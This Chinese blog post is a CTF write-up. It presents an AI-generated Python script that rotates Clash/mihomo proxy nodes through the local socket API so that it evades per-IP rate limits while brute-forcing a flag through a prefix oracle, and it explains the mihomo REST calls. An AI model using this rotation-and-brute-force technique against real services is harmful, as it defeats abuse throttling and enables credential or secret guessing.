Featured image of post clash节点轮换绕过IP限流

clash节点轮换绕过IP限流

想要更多冒险

clash节点轮换绕过IP限流

前两天打了一个国外的比赛,题目质量都很差,以后选比赛得仔细挑选一下了,但是里面遇到一个挺有意思的黑盒题目,觉得很适合记录一下

题目描述

进去就是一个直接的上传接口,可以输入flag前缀,返回你yes or no,直接写个脚本爆破就行,但是有限制:一个ip一段时间内只能提交几次,这个是验证没办法从前端绕过, 然后用codex vibe了一个脚本来自动轮换clash节点来交替爆破,唔,虽然以后可能基本都是vibe exp了,但是我对clash的脚本化,或者他的api接口挺感兴趣的, 以后可以搞个自定义快捷键直接切换clasd状态

下面是脚本文件

爆破脚本:
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
#!/usr/bin/env python3
import argparse
import json
import math
import re
import string
import subprocess
import sys
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any
from urllib.parse import quote


NON_LEAF_TYPES = {
    "Compatible",
    "Direct",
    "Fallback",
    "LoadBalance",
    "Pass",
    "Reject",
    "RejectDrop",
    "Selector",
    "URLTest",
}

DEFAULT_CHARSET = string.ascii_letters + string.digits + "_}"
DEFAULT_IP_CHECK_URLS = [
    "https://api.ip.sb/ip",
    "https://ipv4.icanhazip.com",
    "https://ifconfig.me/ip",
]


def log(message: str) -> None:
    print(message, flush=True)


def run_curl(cmd: list[str], timeout: float) -> str:
    try:
        proc = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=timeout + 2,
            check=False,
        )
    except subprocess.TimeoutExpired as exc:
        raise RuntimeError(f"curl timed out after {timeout}s") from exc

    if proc.returncode != 0:
        detail = proc.stderr.strip() or proc.stdout.strip() or f"exit={proc.returncode}"
        raise RuntimeError(detail)
    return proc.stdout


class MihomoController:
    def __init__(
        self,
        *,
        socket_path: str | None,
        controller_url: str | None,
        secret: str | None,
        timeout: float,
    ) -> None:
        if not socket_path and not controller_url:
            raise ValueError("controller socket or controller URL is required")
        self.socket_path = socket_path
        self.controller_url = controller_url.rstrip("/") if controller_url else None
        self.secret = secret
        self.timeout = timeout

    def _base_cmd(self) -> list[str]:
        cmd = ["curl", "-sS", "--max-time", str(self.timeout)]
        if self.secret:
            cmd += ["-H", f"Authorization: Bearer {self.secret}"]
        return cmd

    def _url(self, path: str) -> str:
        if self.controller_url:
            return f"{self.controller_url}{path}"
        return f"http://localhost{path}"

    def request(self, method: str, path: str, data: dict[str, Any] | None = None) -> Any:
        cmd = self._base_cmd()
        if self.socket_path:
            cmd += ["--unix-socket", self.socket_path]
        cmd += ["-X", method.upper()]
        if data is not None:
            cmd += [
                "-H",
                "Content-Type: application/json",
                "--data",
                json.dumps(data, ensure_ascii=True),
            ]
        cmd.append(self._url(path))
        output = run_curl(cmd, self.timeout)
        return json.loads(output) if output.strip() else {}

    def get_proxies(self) -> dict[str, Any]:
        data = self.request("GET", "/proxies")
        return data["proxies"]

    def switch(self, group: str, node: str) -> None:
        path = f"/proxies/{quote(group, safe='')}"
        self.request("PUT", path, {"name": node})


@dataclass
class GuessResult:
    status: str
    body: str
    http_code: int
    retry_after: int | None = None


def parse_retry_after(text: str) -> int | None:
    match = re.search(r"retry\s+in\s+(\d+)\s*(ms|msec|milliseconds|s|sec|secs|seconds)?", text, re.I)
    if not match:
        return None
    value = int(match.group(1))
    unit = (match.group(2) or "s").lower()
    if unit.startswith("ms") or unit.startswith("msec"):
        return max(1, math.ceil(value / 1000))
    return max(1, value)


def query_flag(url: str, proxy: str, guess: str, timeout: float) -> GuessResult:
    cmd = [
        "curl",
        "-sS",
        "--max-time",
        str(timeout),
        "-x",
        proxy,
        "--get",
        "--data-urlencode",
        f"guess={guess}",
        "-w",
        "\n%{http_code}",
        url,
    ]

    output = run_curl(cmd, timeout)
    body, _, code_text = output.rpartition("\n")
    http_code = int(code_text) if code_text.isdigit() else 0
    body = body.strip()

    try:
        payload = json.loads(body)
    except json.JSONDecodeError:
        payload = None

    if isinstance(payload, dict) and payload.get("result") == "correct":
        return GuessResult("correct", body, http_code)
    if isinstance(payload, dict) and payload.get("result") == "incorrect":
        return GuessResult("incorrect", body, http_code)

    retry_after = parse_retry_after(body)
    if retry_after is not None or http_code == 429:
        return GuessResult("rate_limited", body, http_code, retry_after=retry_after)
    if not body or http_code == 0:
        return GuessResult("retryable", body, http_code)
    return GuessResult("unknown", body, http_code)


def probe_exit_ip(proxy: str, timeout: float, urls: list[str]) -> str | None:
    for url in urls:
        cmd = [
            "curl",
            "-sS",
            "--max-time",
            str(timeout),
            "-x",
            proxy,
            url,
        ]
        try:
            output = run_curl(cmd, timeout).strip()
        except RuntimeError:
            continue

        match = re.search(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", output)
        if match:
            return match.group(0)
    return None


class NodePool:
    def __init__(self, nodes: list[str]) -> None:
        if not nodes:
            raise ValueError("node pool is empty")
        self.nodes = nodes
        self.index = -1
        self.cooldowns: dict[str, float] = {}

    def mark_cooldown(self, node: str, seconds: int) -> None:
        self.cooldowns[node] = time.time() + max(1, seconds)

    def next_ready(self) -> str:
        while True:
            now = time.time()
            for _ in range(len(self.nodes)):
                self.index = (self.index + 1) % len(self.nodes)
                node = self.nodes[self.index]
                if self.cooldowns.get(node, 0) <= now:
                    return node

            wait_for = min(self.cooldowns.values()) - now
            sleep_for = max(1, math.ceil(wait_for))
            log(f"[*] all nodes cooling down, sleeping {sleep_for}s")
            time.sleep(sleep_for)


def load_nodes(
    controller: MihomoController,
    group: str,
    *,
    only_alive: bool,
) -> list[str]:
    proxies = controller.get_proxies()
    if group not in proxies:
        raise SystemExit(f"group not found in controller: {group}")

    names = proxies[group].get("all", [])
    nodes: list[str] = []
    for name in names:
        meta = proxies.get(name)
        if not meta:
            continue
        if meta.get("type") in NON_LEAF_TYPES:
            continue
        if only_alive and not meta.get("alive", False):
            continue
        nodes.append(name)
    return nodes


def save_state(path: Path, prefix: str, node: str | None) -> None:
    path.write_text(
        json.dumps({"prefix": prefix, "node": node, "updated_at": int(time.time())}, indent=2) + "\n",
        encoding="utf-8",
    )


def load_state(path: Path) -> dict[str, Any] | None:
    if not path.exists():
        return None
    try:
        return json.loads(path.read_text(encoding="utf-8"))
    except json.JSONDecodeError:
        return None


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="Rotate Clash Verge / mihomo nodes and brute-force a prefix oracle flag."
    )
    parser.add_argument("--url", default="http://23.179.17.92:5559/api/flag")
    parser.add_argument("--proxy", default="http://127.0.0.1:7897")
    parser.add_argument("--group", default="GLOBAL")
    parser.add_argument("--controller-socket", default="/tmp/verge/verge-mihomo.sock")
    parser.add_argument("--controller-url", default=None)
    parser.add_argument("--secret", default=None)
    parser.add_argument("--start", default="CIT{")
    parser.add_argument("--charset", default=DEFAULT_CHARSET)
    parser.add_argument("--node-budget", type=int, default=1)
    parser.add_argument("--switch-delay", type=float, default=1.0)
    parser.add_argument("--timeout", type=float, default=12.0)
    parser.add_argument("--default-cooldown", type=int, default=180)
    parser.add_argument("--error-cooldown", type=int, default=45)
    parser.add_argument("--max-length", type=int, default=128)
    parser.add_argument("--state-file", default="flag_state.json")
    parser.add_argument("--nodes", default=None, help="comma-separated manual node list")
    parser.add_argument(
        "--ip-check-urls",
        default=",".join(DEFAULT_IP_CHECK_URLS),
        help="comma-separated URLs used to discover each node's exit IP",
    )
    parser.add_argument(
        "--dedupe-exit-ip",
        dest="dedupe_exit_ip",
        action="store_true",
        default=True,
        help="keep one representative node per observed exit IP",
    )
    parser.add_argument(
        "--no-dedupe-exit-ip",
        dest="dedupe_exit_ip",
        action="store_false",
        help="disable exit IP deduplication",
    )
    parser.add_argument("--include-dead", action="store_true")
    parser.add_argument("--list-nodes", action="store_true")
    parser.add_argument("--no-resume", action="store_true")
    return parser


def main() -> int:
    args = build_parser().parse_args()

    controller = MihomoController(
        socket_path=args.controller_socket,
        controller_url=args.controller_url,
        secret=args.secret,
        timeout=args.timeout,
    )

    if args.nodes:
        nodes = [item.strip() for item in args.nodes.split(",") if item.strip()]
    else:
        nodes = load_nodes(controller, args.group, only_alive=not args.include_dead)

    if args.list_nodes:
        for node in nodes:
            print(node)
        return 0

    ip_check_urls = [item.strip() for item in args.ip_check_urls.split(",") if item.strip()]
    if args.dedupe_exit_ip:
        unique_nodes: list[str] = []
        seen_ips: dict[str, str] = {}
        log("[*] probing node exit IPs for dedupe")
        for node in nodes:
            try:
                controller.switch(args.group, node)
            except Exception as exc:
                log(f"[!] failed to switch to {node}: {exc}")
                continue

            time.sleep(args.switch_delay)
            ip = probe_exit_ip(args.proxy, args.timeout, ip_check_urls)
            if not ip:
                log(f"[!] could not determine exit IP for {node}, keeping it as fallback candidate")
                unique_nodes.append(node)
                continue

            if ip in seen_ips:
                log(f"[-] drop {node}: shared exit IP {ip} with {seen_ips[ip]}")
                continue

            seen_ips[ip] = node
            unique_nodes.append(node)
            log(f"[+] keep {node}: exit IP {ip}")

        if unique_nodes:
            nodes = unique_nodes
        log(f"[*] deduped node pool size: {len(nodes)}")

    state_path = Path(args.state_file)
    prefix = args.start
    if not args.no_resume:
        state = load_state(state_path)
        if state and isinstance(state.get("prefix"), str) and len(state["prefix"]) >= len(prefix):
            prefix = state["prefix"]

    if len(prefix) >= args.max_length:
        log(f"[!] prefix already reached max length: {prefix}")
        return 1

    log(f"[*] starting from prefix: {prefix}")
    log(f"[*] node pool size: {len(nodes)}")
    pool = NodePool(nodes)

    current_node: str | None = None
    remaining_budget = 0

    while len(prefix) < args.max_length and not prefix.endswith("}"):
        found_next = False
        for ch in args.charset:
            candidate = prefix + ch

            while True:
                if current_node is None or remaining_budget <= 0:
                    current_node = pool.next_ready()
                    controller.switch(args.group, current_node)
                    remaining_budget = args.node_budget
                    log(f"[*] switched {args.group} -> {current_node}")
                    time.sleep(args.switch_delay)

                try:
                    result = query_flag(args.url, args.proxy, candidate, args.timeout)
                except RuntimeError as exc:
                    log(f"[!] request error via {current_node}: {exc}")
                    pool.mark_cooldown(current_node, args.error_cooldown)
                    current_node = None
                    continue

                if result.status == "rate_limited":
                    cooldown = result.retry_after or args.default_cooldown
                    log(f"[!] rate limited on {current_node}: cooldown {cooldown}s; body={result.body}")
                    pool.mark_cooldown(current_node, cooldown)
                    current_node = None
                    remaining_budget = 0
                    continue

                if result.status == "retryable":
                    log(f"[!] empty or failed response via {current_node}, retrying candidate on another node")
                    pool.mark_cooldown(current_node, args.error_cooldown)
                    current_node = None
                    remaining_budget = 0
                    continue

                if result.status == "unknown":
                    log(f"[!] unexpected response via {current_node}: {result.body!r}")
                    pool.mark_cooldown(current_node, args.error_cooldown)
                    current_node = None
                    remaining_budget = 0
                    continue

                remaining_budget -= 1
                log(f"[?] {candidate} -> {result.status} (node={current_node}, left={remaining_budget})")

                if result.status == "correct":
                    prefix = candidate
                    save_state(state_path, prefix, current_node)
                    log(f"[+] prefix = {prefix}")
                    found_next = True
                break

            if found_next:
                break

        if not found_next:
            log(f"[!] no matching character found for prefix: {prefix}")
            return 2

    if prefix.endswith("}"):
        log(f"[+] flag = {prefix}")
        save_state(state_path, prefix, current_node)
        return 0

    log(f"[!] stopped at max length without closing brace: {prefix}")
    save_state(state_path, prefix, current_node)
    return 3


if __name__ == "__main__":
    sys.exit(main())

首先

clash-verge用的是 mihomo/clash内核,启动的时候会在/tmp/verge里面塞一个/tmp/verge/verge-mihomo.sock,可以通过curl,以REST API的形式 来和这个沟通这个,实现交互

🤔,clash的内核就那几个,以mihomo内核来说,他的gui,tui,cli壳子有好几套,但本质上你执行的和核心业务逻辑相关的操作,比如切换节点, 代理状态都是通过和socket通信来实现交互的,如下:

1
2
3
4
5
6
7
你的 Python / curl
Unix Socket (/tmp/verge-mihomo.sock)
mihomo(代理内核)
发网络请求

unix-socket 本质上只是一种传输的方式,本地,快,安全,依赖socket文件,如果你开了配置绑定了端口,也可以使用tcp实现远程连接

具体来讲

上面脚本中用到的相关的操作就两个

1
curl --unix-socket /tmp/verge/verge-mihomo.sock http://localhost/proxies | jq

这个可以获得当前订阅的所有节点信息

1
2
3
curl --unix-socket /tmp/verge/verge-mihomo.sock \
            -X PUT http://localhost/proxies/GLOBAL \
            -H "Content-Type: application/json" \

然后用这个换节点, 之前讲过的docker api逃逸也是这个原理,不过socket交互的是dockerd守护进程就是了

闲话

感觉以后要是可以出招新题目的话,挺适合写一个这样的题目告诉新人clash这个东西的存在

另外,感觉这个挺适合写个脚本绑到快捷键里面的,而且前后端不冲突,之前一直不知道clash-verge可以可以这样搞,都是用手点的,这就是知识改变生活吗

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计